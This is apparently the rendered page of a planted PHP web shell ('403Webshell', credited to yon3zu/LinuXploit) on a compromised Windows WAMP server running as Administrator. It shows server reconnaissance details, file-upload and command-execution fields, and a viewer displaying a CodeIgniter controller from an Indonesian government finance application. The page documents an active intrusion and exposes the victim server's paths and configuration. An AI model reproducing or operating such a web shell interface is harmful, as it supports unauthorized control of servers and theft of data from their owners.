403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /wamp/www/sipkd_2019_test/application/modules/bkusp/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /wamp/www/sipkd_2019_test/application/modules/bkusp/controllers/bkusp.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Bkusp extends Aktivitas_Controller {

  public function __construct()
  {
    parent::__construct();
    $this->modul_name = 'bkusp';
    $this->modul_display = 'BKU Penerimaan';
    $this->view_form = 'bkusp_form';
    $this->view_daftar = 'bkusp_view';
    $this->load->model('bkusp_model', 'data_model');
  }

  function validasi()
  {
    $this->form_validation->set_rules('kaskpd', 'Kepala SKPD', 'trim|integer');
    $this->form_validation->set_rules('bt', 'Bendahara Penerimaan', 'trim|integer');

    /* TODO : cek rincian ada isinya atau tidak */
  }

  public function rinci($id=0)
  {
    $result = $this->data_model->get_rinci_by_id($id);

    $response = (object) NULL;
    if ($result){
      for($i=0; $i<count($result); $i++)
      {
        $response->rows[$i]['id'] = $result[$i]['ID_AKTIVITAS_SUMBER'];
        $response->rows[$i]['cell']=array(
                        $result[$i]['NO_BKU'],
                        $result[$i]['TIPE'],
                        $result[$i]['NO_TRANSAKSI'],
                        $result[$i]['TANGGAL_CAIR'],
                        $result[$i]['DESKRIPSI'],
                        $result[$i]['KODE_REKENING'],
                        $result[$i]['NAMA_REKENING'],
                        $result[$i]['DEBET'],
                        $result[$i]['KREDIT'],
                    );
      }
    }
    echo json_encode($response);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit